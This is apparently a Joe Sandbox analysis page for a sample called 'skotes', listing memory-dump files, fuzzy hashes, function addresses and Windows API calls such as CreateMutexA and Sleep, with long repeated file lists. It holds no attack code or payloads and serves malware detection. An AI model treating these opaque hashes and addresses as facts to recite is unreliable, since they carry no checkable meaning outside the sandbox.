Associated: 00000001.00000002.1757149117.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757149117.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757208261.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757226314.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757244508.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757263748.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757282378.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757303866.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757317898.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 5d2c805938fe185a5f5c78696ad8791b2b58d457683f27d147241ac57e28ee35
Instruction ID: 294a721d7d065284f0d194455a55ab2aae5aa73416dd0d27c2a37ad3afd0147b
Opcode Fuzzy Hash: 5d2c805938fe185a5f5c78696ad8791b2b58d457683f27d147241ac57e28ee35
Instruction Fuzzy Hash: 8C3108317013059BEB18DB7CEC89BADB7B2EFC5320F688618E418973D5C77589808672

Function 00D09ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00D0A963
CreateMutexA.KERNELBASE(00000000,00000000,00D63254), ref: 00D0A981

Memory Dump Source

Source File: 00000001.00000002.1756461628.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000001.00000002.1756443196.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756461628.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756508194.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756520345.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756533533.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756546054.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756558311.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756651854.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756666843.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756684321.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756699329.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756712526.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756712526.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756743885.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756757222.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756770262.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756783629.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756798424.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756812035.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756829632.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756843274.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756856511.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756874939.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756893133.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756907723.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756922260.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756937746.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756951638.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756966337.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756980874.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756993762.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757006365.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757020181.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757034284.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757047711.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757060820.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757074250.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757093546.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757112856.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757131402.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757149117.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757149117.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757208261.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757226314.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757244508.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757263748.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757282378.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757303866.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757317898.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 75ae86039827fc01840cc39056341ad4ac5e8827d48682e8a8e9fa69ee9ea692
Instruction ID: 74330f754ef1bb0e5b390459bc20b86525c99cea075987d02ef2eb267eb7a022
Opcode Fuzzy Hash: 75ae86039827fc01840cc39056341ad4ac5e8827d48682e8a8e9fa69ee9ea692
Instruction Fuzzy Hash: 122134317053019BEB189B6CECD9B6CF762EBC5320F644219E408D72E6CB7589808A72

Function 00D0A856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00D0A963
CreateMutexA.KERNELBASE(00000000,00000000,00D63254), ref: 00D0A981

Memory Dump Source

Source File: 00000001.00000002.1756461628.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000001.00000002.1756443196.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756461628.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756508194.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756520345.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756533533.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756546054.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756558311.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756651854.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756666843.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756684321.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756699329.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756712526.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756712526.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756743885.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756757222.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756770262.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756783629.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756798424.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756812035.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756829632.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756843274.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756856511.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756874939.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756893133.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756907723.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756922260.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756937746.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756951638.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756966337.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756980874.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756993762.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757006365.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757020181.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757034284.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757047711.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757060820.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757074250.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757093546.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757112856.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757131402.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757149117.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757149117.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757208261.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757226314.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757244508.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757263748.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757282378.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757303866.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757317898.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c56b5cf41d2b29be06785810570374f3990a60c27172f9c327ce52db29a67559
Instruction ID: 87050916d65eaea84309875bcb455a8e8fcbad2f828187cf7112bb0ccbf3741a
Opcode Fuzzy Hash: c56b5cf41d2b29be06785810570374f3990a60c27172f9c327ce52db29a67559
Instruction Fuzzy Hash: 0D214C31745301DAEB28E76C989BBBDB762EF81310F688816E44CD63D1CB769D8081B3

Function 00D0A34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00D0A963
CreateMutexA.KERNELBASE(00000000,00000000,00D63254), ref: 00D0A981

Memory Dump Source

Source File: 00000001.00000002.1756461628.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000001.00000002.1756443196.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756461628.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756508194.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756520345.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756533533.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756546054.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756558311.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756651854.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756666843.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756684321.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756699329.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756712526.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756712526.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756743885.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756757222.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756770262.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756783629.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756798424.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756812035.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756829632.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756843274.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756856511.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756874939.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756893133.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756907723.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756922260.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756937746.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756951638.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756966337.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756980874.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756993762.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757006365.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757020181.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757034284.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757047711.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757060820.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757074250.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757093546.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757112856.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757131402.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757149117.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757149117.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757208261.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757226314.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757244508.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757263748.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757282378.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757303866.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757317898.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 6074a1a0bb4fcfc248abc7de61abd5f2ba0d655c8f5b669b9073f44d7f83adf3
Instruction ID: 924e14e6c1fa2e0a70d216cdfd43c6c8015c055de65464666a5315d7b221bdc1
Opcode Fuzzy Hash: 6074a1a0bb4fcfc248abc7de61abd5f2ba0d655c8f5b669b9073f44d7f83adf3
Instruction Fuzzy Hash: E12149327453059BEB18DB6CEC89BACB772EFD5320F644219E408D77D1CB7699808672

Function 00D3D82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00D3A813,00000001,00000364,00000006,000000FF,?,00D3EE3F,?,00000004,00000000,?,?), ref: 00D3D871

Memory Dump Source

Source File: 00000001.00000002.1756461628.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000001.00000002.1756443196.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756461628.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756508194.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756520345.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756533533.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756546054.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756558311.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756651854.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756666843.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756684321.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756699329.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756712526.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756712526.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756743885.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756757222.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756770262.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756783629.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756798424.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756812035.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756829632.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756843274.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756856511.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756874939.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756893133.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756907723.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756922260.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756937746.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756951638.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756966337.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756980874.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756993762.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757006365.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757020181.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757034284.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757047711.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757060820.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757074250.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757093546.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757112856.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757131402.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757149117.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757149117.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757208261.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757226314.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757244508.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757263748.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757282378.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757303866.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757317898.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 04fa44aadd186af01426eebef7227c5e072bf1d45d79a35c770dc318d93534f2
Instruction ID: ac975a989356f7f72944e2430703f1d89440fc6704708af80dcb12438189d9ea
Opcode Fuzzy Hash: 04fa44aadd186af01426eebef7227c5e072bf1d45d79a35c770dc318d93534f2
Instruction Fuzzy Hash: FFF0823260562566EB216A76BC01A5B775BDF85770F1D8521FD08A7181DA60FC01DEF0

Non-executed Functions

Function 00D02EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00D02F5F
GetCurrentThreadId.KERNEL32 ref: 00D02F7E
__Mtx_unlock.LIBCPMT ref: 00D02FCC
__Cnd_broadcast.LIBCPMT ref: 00D02FE3
__Mtx_unlock.LIBCPMT ref: 00D030F5
GetCurrentThreadId.KERNEL32 ref: 00D03132
__Mtx_unlock.LIBCPMT ref: 00D0319B

Memory Dump Source

Source File: 00000001.00000002.1756461628.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000001.00000002.1756443196.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756461628.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756508194.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756520345.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756533533.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756546054.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756558311.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756651854.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756666843.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756684321.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756699329.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756712526.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756712526.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756743885.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756757222.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756770262.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756783629.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756798424.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756812035.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756829632.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756843274.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756856511.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756874939.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756893133.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756907723.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756922260.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756937746.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756951638.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756966337.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756980874.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756993762.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757006365.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757020181.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
